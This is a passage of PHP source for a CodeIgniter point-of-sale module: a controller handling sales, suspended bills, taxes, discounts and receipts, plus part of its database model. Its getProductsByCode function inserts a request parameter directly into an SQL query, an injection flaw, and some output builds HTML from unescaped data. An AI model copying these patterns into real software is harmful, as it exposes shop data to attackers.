$this->load->model('pos_model'); $pos_setting = $this->pos_model->getSetting(); define("CLIMIT", $pos_setting->cat_limit); define("PLIMIT", $pos_setting->pro_limit); define("DCAT", $pos_setting->default_category); define("DCUS", $pos_setting->default_customer); define("DBILLER", $pos_setting->default_biller); define("DTIME", $pos_setting->display_time); $this->lang->load('pos', LANGUAGE); } /* -------------------------------------------------------------------------------------------------------------------------------- */ //Add new pos sale function index() { if( $this->input->get('suspend_id') ) { $data['sid'] = $this->input->get('suspend_id'); } else { $data['sid'] = NULL; } if( $this->input->post('delete_id') ) { $did = $this->input->post('delete_id'); } else { $did = NULL; } if( $this->input->post('suspend') ) { $suspend = TRUE; } else { $suspend = FALSE; } if( $this->input->post('count') ) { $count = $this->input->post('count'); $count = $count - 1; } $groups = array('purchaser', 'viewer'); if ($this->ion_auth->in_group($groups)) { $this->session->set_flashdata('message', $this->lang->line("access_denied")); redirect('module=home', 'refresh'); } //validate form input $this->form_validation->set_rules('customer', $this->lang->line("customer"), 'trim|required|xss_clean'); $this->form_validation->set_rules('warehouse', $this->lang->line("warehouse"), 'required|xss_clean'); $this->form_validation->set_rules('biller', $this->lang->line("biller"), 'required|xss_clean'); $quantity = "quantity"; $product = "product"; $unit_price = "price"; $tax_rate = "tax_rate"; $sl = "serial"; $dis = "discount"; if ($this->form_validation->run() == true) { $date = date('Y-m-d'); $reference_no = $this->pos_model->getNextAI(); $paid_by = $this->input->post('rpaidby'); $count = $this->input->post('count'); $count = $count - 1; $warehouse_id = $this->input->post('warehouse'); $biller_id = $this->input->post('biller'); if($biller_details = $this->pos_model->getBillerByID($biller_id)) { $biller_name = $biller_details->name; } else { $this->session->set_flashdata('message', $this->lang->line("biller_x_found")); redirect("module=pos", 'refresh'); } if($customer_details = $this->pos_model->getCustomerByName($this->input->post('customer'))) { $customer_id = $customer_details->id; $customer_name = $customer_details->name; } else { $customer_details = $this->pos_model->getCustomerByName(DCUS); $customer_id = $customer_details->id; $customer_name = $customer_details->name; } if(DISCOUNT_OPTION == 1) { $inv_discount = DEFAULT_DISCOUNT; } if(TAX2) { $tax_rate2 = DEFAULT_TAX2; } $inv_total_no_tax = 0; for($i=1; $i<=500; $i++){ if( $this->input->post($quantity.$i) && $this->input->post($product.$i) && $this->input->post($unit_price.$i) ) { $product_details = $this->pos_model->getProductByCode($this->input->post($product.$i)); if(RESTRICT_SALE) { if($pr_ck = $this->pos_model->getWarehouseProductQuantity($warehouse_id, $product_details->id)) { if($pr_ck->quantity < $this->input->post($quantity.$i) && $product_details->track_quantity == 1) { $this->session->set_flashdata('message', $this->lang->line("wh_qty_less_then_sale")." (".$product_details->name.")"); redirect("module=pos", 'refresh'); } } else { $this->session->set_flashdata('message', $this->lang->line("wh_qty_less_then_sale")." (".$product_details->name.")"); redirect("module=pos", 'refresh'); } } if(TAX1) { $tax_id = $this->input->post($tax_rate.$i); $tax_details = $this->pos_model->getTaxRateByID($tax_id); $taxRate = $tax_details->rate; $taxType = $tax_details->type; $tax_rate_id[] = $tax_id; if($taxType == 1 && $taxRate != 0) { $item_tax = (($this->input->post($quantity.$i)) * ($this->input->post($unit_price.$i)) * $taxRate / 100); $val_tax[] = $item_tax; } else { $item_tax = $taxRate; $val_tax[] = $item_tax; } if($taxType == 1) { $tax[] = $taxRate."%"; } else { $tax[] = $taxRate; } } else { $item_tax = 0; $tax_rate_id[] = 0; $val_tax[] = 0; $tax[] = ""; } if(DISCOUNT_METHOD == 1 && DISCOUNT_OPTION == 2) { $discount_id = $this->input->post($dis.$i); $ds_details = $this->pos_model->getDiscountByID($discount_id); $ds = $ds_details->discount; $dsType = $ds_details->type; $dsID[] = $discount_id; if($dsType == 1 && $ds != 0) { $val_ds[] = (($this->input->post($quantity.$i)) * ($this->input->post($unit_price.$i)) * $ds / 100); } else { $val_ds[] = $ds * ($this->input->post($quantity.$i)); } if($dsType == 1) { $discount[] = $ds."%"; } else { $discount[] = $ds; } } elseif(DISCOUNT_METHOD == 2 && DISCOUNT_OPTION == 2) { $discount_id = $this->input->post($dis.$i); $ds_details = $this->pos_model->getDiscountByID($discount_id); $ds = $ds_details->discount; $dsType = $ds_details->type; $dsID[] = $discount_id; if($dsType == 1 && $ds != 0) { $val_ds[] = (((($this->input->post($quantity.$i)) * ($this->input->post($unit_price.$i)) + $item_tax) * $ds) / 100); } else { $val_ds[] = $ds * ($this->input->post($quantity.$i)); } if($dsType == 1) { $discount[] = $ds."%"; } else { $discount[] = $ds; } } else { $val_ds[] = 0; $dsID[] = 0; $discount[] = ""; } if(PRODUCT_SERIAL) { $serial[] = $this->input->post($sl.$i); } else { $serial[] = ""; } $inv_quantity[] = $this->input->post($quantity.$i); //$inv_product_code[] = $this->input->post($product.$i); $inv_unit_price[] = $this->input->post($unit_price.$i); $inv_gross_total[] = (($this->input->post($quantity.$i)) * ($this->input->post($unit_price.$i))); $product_id[] = $product_details->id; $product_name[] = $product_details->name; $product_code[] = $product_details->code; $product_unit[] = $product_details->unit; $inv_total_no_tax += (($this->input->post($quantity.$i)) * ($this->input->post($unit_price.$i))); } } if(DISCOUNT_OPTION == 2) { $total_ds = array_sum($val_ds); } else { $total_ds = 0; } if(TAX1) { $total_tax = array_sum($val_tax); } else { $total_tax = 0; } /*if(!empty($inv_product_code)) { foreach($inv_product_code as $pr_code){ $product_details = $this->pos_model->getProductByCode($pr_code); $product_id[] = $product_details->id; $product_name[] = $product_details->name; $product_code[] = $product_details->code; $product_unit[] = $product_details->unit; } }*/ $keys = array("product_id","product_code","product_name","product_unit", "tax_rate_id", "tax","quantity","unit_price", "gross_total", "val_tax", "serial_no", "discount_val", "discount", "discount_id"); $items = array(); foreach ( array_map(null, $product_id, $product_code, $product_name, $product_unit, $tax_rate_id, $tax, $inv_quantity, $inv_unit_price, $inv_gross_total, $val_tax, $serial, $val_ds, $discount, $dsID) as $key => $value ) { $items[] = array_combine($keys, $value); } if(TAX2) { $tax_dts = $this->pos_model->getTaxRateByID($tax_rate2); $taxRt = $tax_dts->rate; $taxTp = $tax_dts->type; if($taxTp == 1 && $taxRt != 0) { $val_tax2 = ($inv_total_no_tax * $taxRt / 100); } else { $val_tax2 = $taxRt; } } else { $val_tax2 = 0; $tax_rate2 = 0; } if(DISCOUNT_METHOD == 1 && DISCOUNT_OPTION == 1) { $ds_dts = $this->pos_model->getDiscountByID($inv_discount); $ds = $ds_dts->discount; $dsTp = $ds_dts->type; if($dsTp == 1 && $ds != 0) { $val_discount = ($inv_total_no_tax * $ds / 100); } else { $val_discount = $ds; } } elseif(DISCOUNT_METHOD == 2 && DISCOUNT_OPTION == 1) { $ds_dts = $this->pos_model->getDiscountByID($inv_discount); $ds = $ds_dts->discount; $dsTp = $ds_dts->type; if($dsTp == 1 && $ds != 0) { $val_discount = ((($inv_total_no_tax + $total_tax + $val_tax2) * $ds) / 100); } else { $val_discount = $ds; } } else { $val_discount = $total_ds; $inv_discount = 0; } $gTotal = $inv_total_no_tax + $total_tax + $val_tax2 - $val_discount; $saleDetails = array('reference_no' => $reference_no, 'date' => $date, 'biller_id' => $biller_id, 'biller_name' => $biller_name, 'customer_id' => $customer_id, 'customer_name' => $customer_name, 'inv_total' => $inv_total_no_tax, 'total_tax' => $total_tax, 'total' => $gTotal, 'total_tax2' => $val_tax2, 'tax_rate2_id' => $tax_rate2, 'inv_discount' => $val_discount, 'discount_id' => $inv_discount, 'user' => USER_NAME, 'paid_by' => $paid_by, 'count' => $count, 'paid_val' => $this->input->post('paid_val'), 'cc_no_val' => $this->input->post('cc_no_val'), 'cc_holder_val' => $this->input->post('cc_holder_val'), 'cheque_no_val' => $this->input->post('cheque_no_val'), ); } if ( $this->form_validation->run() == true && !empty($items) ) { if($suspend) { if($this->pos_model->suspendSale($saleDetails, $items, $count, $did)) { $this->session->set_flashdata('success_message', $this->lang->line("sale_suspended")); redirect("module=pos", 'refresh'); } } else { if($saleID = $this->pos_model->addSale($saleDetails, $items, $warehouse_id, $did)) { $this->session->set_flashdata('success_message', $this->lang->line("sale_added")); redirect("module=pos&view=view_invoice&id=".$saleID, 'refresh'); } } } else { $data['message'] = (validation_errors() ? validation_errors() : $this->session->flashdata('message')); $data['success_message'] = $this->session->flashdata('success_message'); if($this->input->get('suspend_id')) { $suspende_sd = $this->pos_model->getSaleByID($this->input->get('suspend_id')); $data['customer'] = $this->pos_model->getCustomerById($suspende_sd->customer_id); } else { $data['customer'] = $this->pos_model->getCustomerById(DCUS); } $data['biller'] = $this->pos_model->getBillerByID(DBILLER); $data['discounts'] = $this->pos_model->getAllDiscounts(); $data['billers'] = $this->pos_model->getAllBillers(); $data['warehouses'] = $this->pos_model->getAllWarehouses(); $data['tax_rates'] = $this->pos_model->getAllTaxRates(); $data["total_cats"] = $this->pos_model->categories_count(); $data["total_cp"] = $this->pos_model->products_count(DCAT); if(DISCOUNT_OPTION == 1) { $discount_details = $this->pos_model->getDiscountByID(DEFAULT_DISCOUNT); $data['discount_rate'] = $discount_details->discount; $data['discount_type'] = $discount_details->type; $data['discount_name'] = $discount_details->name; } if(DISCOUNT_OPTION == 2) { $discount2_details = $this->pos_model->getDiscountByID(DEFAULT_DISCOUNT); $data['discount_rate2'] = $discount2_details->discount; $data['discount_type2'] = $discount2_details->type; } if(TAX1) { $tax_rate_details = $this->pos_model->getTaxRateByID(DEFAULT_TAX); $data['tax_rate'] = $tax_rate_details->rate; $data['tax_type'] = $tax_rate_details->type; $data['tax_name'] = $tax_rate_details->name; } if(TAX2) { $tax_rate2_details = $this->pos_model->getTaxRateByID(DEFAULT_TAX2); $data['tax_rate2'] = $tax_rate2_details->rate; $data['tax_name2'] = $tax_rate2_details->name; $data['tax_type2'] = $tax_rate2_details->type; } $data['products'] = $this->ajaxproducts(DCAT); $data['categories'] = $this->poscategories(); $data['page_title'] = $this->lang->line("pos_module"); $this->load->view('add', $data); } } function tax_rates() { if($this->input->get('id')) { $id = $this->input->get('id'); } if($this->input->get('old_id')) { $old_id = $this->input->get('old_id'); } else { $old_id = NULL; } $new_tax_rate_details = $this->pos_model->getTaxRateByID($id); if($old_id) { $old_tax_rate_details = $this->pos_model->getTaxRateByID($old_id); $tax = array('old_tax_rate' => $old_tax_rate_details->rate, 'old_tax_type' => $old_tax_rate_details->type, 'new_tax_rate' => $new_tax_rate_details->rate, 'new_tax_type' => $new_tax_rate_details->type); } else { $tax = array('new_tax_rate' => $new_tax_rate_details->rate, 'new_tax_type' => $new_tax_rate_details->type); } echo json_encode($tax); } function discounts() { if($this->input->get('id')) { $id = $this->input->get('id'); } if($this->input->get('old_id')) { $old_id = $this->input->get('old_id'); } else { $old_id = NULL; } $new_discount_details = $this->pos_model->getDiscountByID($id); if($old_id) { $old_discount_details = $this->pos_model->getDiscountByID($old_id); $ds = array('old_discount' => $old_discount_details->discount, 'old_discount_type' => $old_discount_details->type, 'new_discount' => $new_discount_details->discount, 'new_discount_type' => $new_discount_details->type); } else { $ds = array('new_discount' => $new_discount_details->discount, 'new_discount_type' => $new_discount_details->type); } echo json_encode($ds); } function scan_product() { if($this->input->get('code')) { $code = $this->input->get('code'); } if($prodd = $this->pos_model->getProductByCode($code)) { $product_name = $prodd->name; $product_code = $prodd->code; $product_price = $prodd->price; $product_id = $prodd->id; $category_id = $prodd->category_id; if($product_id < 10) { $product_id = "0".(($product_id*100)/100); } if($category_id < 10) { $category_id = "0".(($category_id*100)/100); } $last = $category_id.$product_id; $tax_rate = $this->pos_model->getTaxRateByID($prodd->tax_rate); $product = array('product_name' => $product_name, 'product_code' => $product_code, 'item_price' => $product_price, 'last' => $last, 'tax_rate' => $tax_rate ); } echo json_encode($product); } function add_row($category_id = NULL, $code = NULL) { if($this->input->get('code')) { $code = $this->input->get('code'); } if($this->input->get('category_id')) { $category_id = $this->input->get('category_id'); } else { $category_id = 1; } $products = $this->pos_model->getProductByCode($code); $row = '<td width="29px" style="text-align:center;"> x </td><td width="144px">'.$products->name.'</td><td width="44px" style="text-align:center;">1</td><td width="86px style="text-align:right;"> '.$products->price.' </td>'; echo $row; } function price($code = NULL) { if($this->input->get('code')) { $code = $this->input->get('code'); } $products = $this->pos_model->getProductByCode($code); $price = $products->price; $name = $products->name; $code = $products->code; $product_tax = $products->tax_rate; $tax_rate = $this->pos_model->getTaxRateByID($product_tax); $data = array('price'=> $price, 'name' => $name, 'code' => $code, 'tax_rate' => $tax_rate); echo json_encode($data); } function poscategories($category_id = NULL) { if($this->input->get('category_id')) { $category_id = $this->input->get('category_id'); } else { $category_id = DCAT; } if($this->input->get('per_page') == 'n' ) { $page = 0; } else { $page = $this->input->get('per_page'); } $categories = $this->pos_model->getAllCategories(); $count = 1; $cats = ""; foreach($categories as $category) { $cats .= "<li><button id=\"category\" type=\"button\" value='".$category->id."' class=\"gray\"> ".$category->name."</button></li>"; $count++; } if($this->input->get('per_page')) { echo $cats ; } else { return $cats; } } function ajaxproducts( $category_id = NULL) { if($this->input->get('category_id')) { $category_id = $this->input->get('category_id'); } else { $category_id = DCAT; } if($this->input->get('per_page') == 'n' ) { $page = 0; } else { $page = $this->input->get('per_page'); } $this->load->library("pagination"); $config = array(); $config["base_url"] = base_url() . "index.php?module=pos&view=ajaxproducts"; $config["total_rows"] = $this->pos_model->products_count($category_id); $config["per_page"] = PLIMIT; $config['prev_link'] = FALSE; $config['next_link'] = FALSE; $config['display_pages'] = FALSE; $config['first_link'] = FALSE; $config['last_link'] = FALSE; $this->pagination->initialize($config); $products = $this->pos_model->fetch_products($category_id, $config["per_page"], $page); $pro = 1; $prods = "<div>"; foreach($products as $product) { $count = $product->id; if($count < 10) { $count = "0".($count /100) *100; } if($category_id < 10) { $category_id = "0".($category_id /100) *100; } if($product->image == 'no_image.jpg') { $prods .= " <button id=\"product-".$category_id.$count."\" type=\"button\" value='".$product->code."' class=\"green\" ><i><img src=\"assets/uploads/thumbs/default.png\"></i><span><span>".$product->name."</span></span></button>"; } else { $prods .= " <button id=\"product-".$category_id.$count."\" type=\"button\" value='".$product->code."' class=\"green\" ><i><img src=\"assets/uploads/thumbs/".$product->image."\"></i><span><span>".$product->name."</span></span></button>"; } $pro++; } if($pro <= PLIMIT) { for($i = $pro; $i <= PLIMIT; $i++) { $prods .= "<button type=\"button\" value='0' class=\"tr\" style=\"cursor: default !important;\"><i></i><span></span></button>"; } } $prods .= "</div>"; if($this->input->get('per_page')) { echo $prods ; } else { return $prods; } } /* -------------------------------------------------------------------------------------------------------------------------------- */ function total_cp() { $category_id = $this->input->get('category_id'); if($result = $this->pos_model->products_count($category_id)) { } else { $result = 0; } echo $result; exit; } function products() { $term = $this->input->get('q', TRUE); $output = $this->input->get('output', TRUE); if(!$term) { redirect("home"); } $cq = $term; if (!$cq) return; $prs = $this->pos_model->getProductsByCode($cq); foreach($prs as $pr) { $items[$pr->code] = $pr->price; } $results = array(); foreach ($items as $key=>$value) { if (strpos(strtolower($key), $cq) !== false) { array_push($results, array(strip_tags($key))); } if (count($results) > 11) { break; } } echo $this->array_to_json($results); exit; } //view inventory as html page function view_invoice() { if($this->input->get('id')){ $sale_id = $this->input->get('id'); } else { $sale_id = NULL; } $data['message'] = (validation_errors() ? validation_errors() : $this->session->flashdata('message')); $data['rows'] = $this->pos_model->getAllInvoiceItems($sale_id); $inv = $this->pos_model->getInvoiceBySaleID($sale_id); $biller_id = $inv->biller_id; $customer_id = $inv->customer_id; $invoice_type_id = $inv->invoice_type; $data['biller'] = $this->pos_model->getBillerByID($biller_id); $data['customer'] = $this->pos_model->getCustomerByID($customer_id); $data['invoice_types_details'] = $this->pos_model->getInvoiceTypeByID($invoice_type_id); $data['pos'] = $this->pos_model->getSetting(); $data['inv'] = $inv; $data['sid'] = $sale_id; $data['page_title'] = $this->lang->line("invoice"); $this->load->view('view', $data); } function today_sale() { $data['message'] = (validation_errors() ? validation_errors() : $this->session->flashdata('message')); if($cc_sale = $this->pos_model->getTodayCCSales()) { $data['ccsales'] = $cc_sale->total; } else { $data['ccsales'] = "0.00"; } if($cash_sale = $this->pos_model->getTodayCashSales()) { $data['cashsales'] = $cash_sale->total; } else { $data['cashsales'] = "0.00"; } if($ch_sale = $this->pos_model->getTodayChSales()) { $data['chsales'] = $ch_sale->total; } else { $data['chsales'] = "0.00"; } $data['totalsales'] = $this->pos_model->getTodaySales(); $meta['page_title'] = $this->lang->line('today_sale'); echo $this->load->view('sales', $data, TRUE); } function settings() { //validate form input $this->form_validation->set_message('is_natural_no_zero', $this->lang->line('no_zero_required')); $this->form_validation->set_rules('pro_limit', $this->lang->line('pro_limit'), 'required|is_natural_no_zero|xss_clean'); $this->form_validation->set_rules('category', $this->lang->line('default_category'), 'required|is_natural_no_zero|xss_clean'); $this->form_validation->set_rules('customer', $this->lang->line('default_customer'), 'required|is_natural_no_zero|xss_clean'); $this->form_validation->set_rules('biller', $this->lang->line('default_biller'), 'required|is_natural_no_zero|xss_clean'); $this->form_validation->set_rules('cf_title1', $this->lang->line('cf_title1'), 'xss_clean'); $this->form_validation->set_rules('cf_title2', $this->lang->line('cf_title2'), 'xss_clean'); $this->form_validation->set_rules('cf_value1', $this->lang->line('cf_value1'), 'xss_clean'); $this->form_validation->set_rules('cf_value2', $this->lang->line('cf_value2'), 'xss_clean'); if ($this->form_validation->run() == true) { $data = array( 'pro_limit' => $this->input->post('pro_limit'), 'category' => $this->input->post('category'), 'customer' => $this->input->post('customer'), 'biller' => $this->input->post('biller'), 'display_time' => $this->input->post('display_time'), 'cf_title1' => $this->input->post('cf_title1'), 'cf_title2' => $this->input->post('cf_title2'), 'cf_value1' => $this->input->post('cf_value1'), 'cf_value2' => $this->input->post('cf_value2') ); } if ( $this->form_validation->run() == true && $this->pos_model->updateSetting($data)) { $this->session->set_flashdata('success_message', $this->lang->line('pos_setting_updated')); redirect("module=pos&view=settings", 'refresh'); } else { $data['message'] = (validation_errors()) ? validation_errors() : $this->session->flashdata('message'); $data['success_message'] = $this->session->flashdata('success_message'); $data['pos'] = $this->pos_model->getSetting(); $data['categories'] = $this->pos_model->getAllCategories(); $data['customers'] = $this->pos_model->getAllCustomers(); $data['billers'] = $this->pos_model->getAllBillers(); $meta['page_title'] = $this->lang->line('pos_settings'); $data['page_title'] = $this->lang->line('pos_settings'); $this->load->view('commons/header', $meta); $this->load->view('setting', $data); $this->load->view('commons/footer'); } } function suspend_bill() { $csutomer_id = $this->input->post('id'); $saleData = base64_encode($this->input->post('saleData')); $count = $this->input->post('count'); $tax1 = $this->input->post('tax1'); $tax2 = $this->input->post('tax2'); $total = $this->input->post('total'); if($this->pos_model->suspendBill($csutomer_id, $saleData, $count, $tax1, $tax2, $total)) { return true; } else { return false; } } function load_suspended_bill() { $id = $this->input->post('id'); if($newData = $this->pos_model->getSaleByID($id)) { $items = $this->pos_model->getAllSaleItems($id); $tax_rates = $this->pos_model->getAllTaxRates(); $r=1; $sdata = ""; foreach($items as $item){ $sdata .= '<tr id="row_'.$r.'"><td id="satu" style="text-align:center; width: 27px;"><button type="button" class="del_row" id="del-'.$r.'" value="'.$r.'"><i class="icon-trash"></i></button></td><td><input type="hidden" name="product'.$r.'" value="'.$item->product_code.'" id="product-'.$r.'"><input type="hidden" name="serial'.$r.'" value="" id="serial-'.$r.'"><input type="hidden" name="tax_rate'.$r.'" value="'.$item->tax_rate_id.'" id="tax_rate-'.$r.'"><input type="hidden" name="discount'.$r.'" value="'.$item->discount_id.'" id="discount-'.$r.'"><a href="#" id="model-'.$r.'" class="code">'.$item->product_name.'</a><input type="hidden" name="price'.$r.'" value="'.$item->unit_price.'" id="oprice-'.$r.'"></td><td style="text-align:center;"><input class="keyboard" onClick="this.select();" name="quantity'.$r.'" type="text" value="'.$item->quantity.'" autocomplete="off" id="quantity-'.$r.'"></td><td style="padding-right: 10px; text-align:right;"><input type="text" class="price" name="unit_price'.$r.'" value="'.$item->gross_total.'" id="price-'.$r.'"></td></tr>'; $r++; } $item_count = $newData->count + 1; $customer_id = $newData->customer_id; $tax1 = $newData->tax1; $tax2 = $newData->tax2; $discount = $newData->discount; $sale_total = $newData->inv_total; $grand_total = $newData->total; $data = array( 'customer_id' => $customer_id, 'sale_data' => $sdata, 'count' => $item_count, 'tax1' => $tax1, 'tax2' => $tax2, 'discount' => $discount, 'inv_total' => $sale_total, 'g_total' => $grand_total ); } else { $data = NULL; } echo json_encode($data); } function suspended_sales() { if ($this->ion_auth->in_group(array('purchaser', 'viewer'))) { $this->session->set_flashdata('message', $this->lang->line("access_denied")); $data['message'] = (validation_errors() ? validation_errors() : $this->session->flashdata('message')); redirect('module=home', 'refresh'); } $data['message'] = (validation_errors() ? validation_errors() : $this->session->flashdata('message')); $data['success_message'] = $this->session->flashdata('success_message'); $meta['page_title'] = $this->lang->line("suspended_sales"); $data['page_title'] = $this->lang->line("suspended_sales"); $this->load->view('commons/header', $meta); $this->load->view('content', $data); $this->load->view('commons/footer'); } function getSuspendedSales() { $this->load->library('datatables'); $this->datatables ->select("suspended_bills.id as id, date, customers.name, count, tax1, tax2, discount, total") ->from('suspended_bills') ->join('customers', 'customers.id=suspended_bills.customer_id', 'left') ->group_by('suspended_bills.id'); $this->datatables->add_column("Actions", "<center><a class=\"tip\" title='".$this->lang->line("add_to_pos")."' href='index.php?module=pos&amp;suspend_id=$1'><i class=\"icon-plus-sign\"></i></a> <a class=\"tip\" title='".$this->lang->line("delete_suspended_sale")."' href='index.php?module=pos&amp;view=delete&amp;id=$1' onClick=\"return confirm('". $this->lang->line('alert_x_sale') ."')\"><i class=\"icon-trash\"></i></a></center>", "id") ->unset_column('id'); echo $this->datatables->generate(); } function delete($id = NULL) { $groups = array('admin', 'purchaser', 'salesman', 'viewer'); if ($this->ion_auth->in_group($groups)) { $this->session->set_flashdata('message', $this->lang->line("access_denied")); $data['message'] = (validation_errors() ? validation_errors() : $this->session->flashdata('message')); redirect('module=sales', 'refresh'); } if($this->input->get('id')){ $id = $this->input->get('id'); } else { $id = NULL; } if ( $this->pos_model->deleteSale($id) ) { $this->session->set_flashdata('success_message', $this->lang->line("suspended_sale_deleted")); redirect('module=pos&view=suspended_sales', 'refresh'); } } function add_customer() { $cusData = $this->input->post('data'); $this->load->helper('email'); $error = NULL; if (!empty($cusData[0]) && !empty($cusData[1]) && valid_email($cusData[3]) && !empty($cusData[4]) && !empty($cusData[5]) && !empty($cusData[6]) && !empty($cusData[7]) && !empty($cusData[8]) && !empty($cusData[2])) { $data = array('name' => $cusData[1], 'email' => $cusData[3], 'company' => $cusData[0], 'address' => $cusData[4], 'city' => $cusData[5], 'state' => $cusData[6], 'postal_code' => $cusData[7], 'country' => $cusData[8], 'phone' => $cusData[2] ); } else { $error = $this->lang->line("email")." ".$this->lang->line("is_required"); } if (empty($cusData[8])) {$error = $this->lang->line("country")." ".$this->lang->line("is_required"); } if (empty($cusData[7]) || !is_numeric($cusData[7])) {$error = $this->lang->line("postal_code")." ".$this->lang->line("is_required"); } if (empty($cusData[6])) {$error = $this->lang->line("state")." ".$this->lang->line("is_required"); } if (empty($cusData[5])) {$error = $this->lang->line("city")." ".$this->lang->line("is_required"); } if (empty($cusData[4])) {$error = $this->lang->line("address")." ".$this->lang->line("is_required"); } if (empty($cusData[2]) || !is_numeric($cusData[2])) {$error = $this->lang->line("phone")." ".$this->lang->line("is_required"); } if (empty($cusData[1])) {$error = $this->lang->line("name")." ".$this->lang->line("is_required"); } if (empty($cusData[0])) {$error = $this->lang->line("company")." ".$this->lang->line("is_required"); } if(!$error) { if ( $this->pos_model->addCustomer($data)) { echo $this->lang->line("customer_added"); } } else { echo $error; } } function email_receipt($sale_id = NULL) { if($this->input->post('id')){ $sale_id = $this->input->post('id'); } else { die(); } if($this->input->post('email')){ $to = $this->input->post('email'); } else { die(); } $data['message'] = (validation_errors() ? validation_errors() : $this->session->flashdata('message')); $data['rows'] = $this->pos_model->getAllInvoiceItems($sale_id); $inv = $this->pos_model->getInvoiceBySaleID($sale_id); $biller_id = $inv->biller_id; $customer_id = $inv->customer_id; $invoice_type_id = $inv->invoice_type; $data['biller'] = $this->pos_model->getBillerByID($biller_id); $data['customer'] = $this->pos_model->getCustomerByID($customer_id); $data['invoice_types_details'] = $this->pos_model->getInvoiceTypeByID($invoice_type_id); $data['pos'] = $this->pos_model->getSetting(); $data['inv'] = $inv; $data['sid'] = $sale_id; $data['page_title'] = $this->lang->line("invoice"); $receipt = $this->load->view('view', $data, TRUE); $user = $this->ion_auth->user()->row(); $this->load->library('email'); $config['mailtype'] = 'html'; $config['wordwrap'] = TRUE; $this->email->initialize($config); $this->email->from($user->email, $user->first_name." ".$user->last_name); $this->email->to($to); $this->email->subject('Receipt from '.SITE_NAME); $this->email->message($receipt); if($this->email->send()) { echo json_encode(array('msg' => $this->lang->line("email_sent"))); } else { echo json_encode(array('msg' => $this->lang->line("email_failed"))); } } } ------------ MODELS DO PDV ------------ <?php if ( ! defined('BASEPATH')) exit('No direct script access allowed'); /* | ----------------------------------------------------- | PRODUCT NAME: SIMPLE POS | ----------------------------------------------------- | AUTHER: MIAN SALEEM | ----------------------------------------------------- | EMAIL: saleem@tecdiary.com | ----------------------------------------------------- | COPYRIGHTS: RESERVED BY TECDIARY IT SOLUTIONS | ----------------------------------------------------- | WEBSITE: http://tecdiary.net | ----------------------------------------------------- | | MODULE: POS | ----------------------------------------------------- | This is inventories module's model file. | ----------------------------------------------------- */ class Pos_model extends CI_Model { public function __construct() { parent::__construct(); } function getSetting() { $q = $this->db->get('pos_settings'); if( $q->num_rows() > 0 ) { return $q->row(); } return FALSE; } public function getAllCategories() { $q = $this->db->get('categories'); if($q->num_rows() > 0) { foreach (($q->result()) as $row) { $data[] = $row; } return $data; } } public function getNextAI() { $this->db->select_max('id'); $q = $this->db->get('sales'); if( $q->num_rows() > 0 ) { $row = $q->row(); //return SALES_REF."-".date('Y')."-".sprintf("%03s", $row->id+1); return SALES_REF."-".sprintf("%04s", $row->id+1); } return FALSE; } public function updateSetting($data) { $settingData = array( 'pro_limit' => $data['pro_limit'], 'default_category' => $data['category'], 'default_customer' => $data['customer'], 'default_biller' => $data['biller'], 'display_time' => $data['display_time'], 'cf_title1' => $data['cf_title1'], 'cf_title2' => $data['cf_title2'], 'cf_value1' => $data['cf_value1'], 'cf_value2' => $data['cf_value2'] ); $this->db->where('pos_id', '1'); if($this->db->update('pos_settings', $settingData)) { return true; } else { return false; } } public function products_count($category_id) { $this->db->where('category_id', $category_id)->from('products'); return $this->db->count_all_results(); } public function fetch_products($category_id, $limit, $start) { $this->db->limit($limit, $start); $this->db->where('category_id', $category_id); $this->db->order_by("name", "asc"); $query = $this->db->get("products"); if ($query->num_rows() > 0) { foreach ($query->result() as $row) { $data[] = $row; } return $data; } return false; } public function categories_count() { return $this->db->count_all("categories"); } public function fetch_categories($limit, $start) { $this->db->limit($limit, $start); $this->db->order_by("id", "asc"); $query = $this->db->get("categories"); if ($query->num_rows() > 0) { foreach ($query->result() as $row) { $data[] = $row; } return $data; } return false; } public function getProductsByCode($code) { $q = $this->db->query("SELECT * FROM products WHERE code LIKE '%{$code}%' ORDER BY code"); if($q->num_rows() > 0) { foreach (($q->result()) as $row) { $data[] = $row; } return $data; } } public function getProductByCode($code) { $q = $this->db->get_where('products', array('code' => $code), 1); if( $q->num_rows() > 0 ) { return $q->row(); } return FALSE; } public function getProductByName($name) { $q = $this->db->get_where('products', array('name' => $name), 1); if( $q->num_rows() > 0 ) { return $q->row(); } return FALSE; } public function getCustomerByName($name) { $q = $this->db->get_where('customers', array('name' => $name), 1); if( $q->num_rows() > 0 ) { return $q->row(); } return FALSE; } public function getAllBillers() { $q = $this->db->get('billers'); if($q->num_rows() > 0) { foreach (($q->result()) as $row) { $data[] = $row; } return $data; } } public function getBillerByID($id) { $q = $this->db->get_where('billers', array('id' => $id), 1); if( $q->num_rows() > 0 ) { return $q->row(); } return FALSE; } public function getAllCustomers() { $q = $this->db->get('customers'); if($q->num_rows() > 0) { foreach (($q->result()) as $row) { $data[] = $row; } return $data; } } public function getAllDiscounts() { $q = $this->db->get('discounts'); if($q->num_rows() > 0) { foreach (($q->result()) as $row) { $data[] = $row; } return $data; } } public function getDiscountByID($id) { $q = $this->db->get_where('discounts', array('id' => $id), 1); if( $q->num_rows() > 0 ) { return $q->row(); } return FALSE; } public function getCustomerByID($id) { $q = $this->db->get_where('customers', array('id' => $id), 1); if( $q->num_rows() > 0 ) { return $q->row(); } return FALSE; } public function getAllProducts() { $q = $this->db->query('SELECT * FROM products ORDER BY id'); if($q->num_rows() > 0) { foreach (($q->result()) as $row) { $data[] = $row; } return $data; } } public function getProductByID($id) { $q = $this->db->get_where('products', array('id' => $id), 1); if( $q->num_rows() > 0 ) { return $q->row(); } return FALSE; } public function getAllTaxRates() { $q = $this->db->get('tax_rates'); if($q->num_rows() > 0) { foreach (($q->result()) as $row) { $data[] = $row; } return $data; } } public function getTaxRateByID($id) { $q = $this->db->get_where('tax_rates', array('id' => $id), 1); if( $q->num_rows() > 0 ) { return $q->row(); } return FALSE; } public function getAllInvoiceTypes() { $q = $this->db->get('invoice_types'); if($q->num_rows() > 0) { foreach (($q->result()) as $row) { $data[] = $row; } return $data; } } public function getAllInvoiceTypesFor() { $q = $this->db->get_where('invoice_types', array('type' => 'real')); if($q->num_rows() > 0) { foreach (($q->result()) as $row) { $data[] = $row; } return $data; } } public function getInvoiceTypeByID($id) { $q = $this->db->get_where('invoice_types', array('id' => $id), 1); if( $q->num_rows() > 0 ) { return $q->row(); } return FALSE; } public function updateProductQuantity($product_id, $warehouse_id, $quantity) { // update the product with new details if($this->addQuantity($product_id, $warehouse_id, $quantity)) { return true; } return false; } public function calculateAndUpdateQuantity($item_id, $product_id, $quantity, $warehouse_id) { //check if entry exist then update else inster if($this->getProductQuantity($product_id, 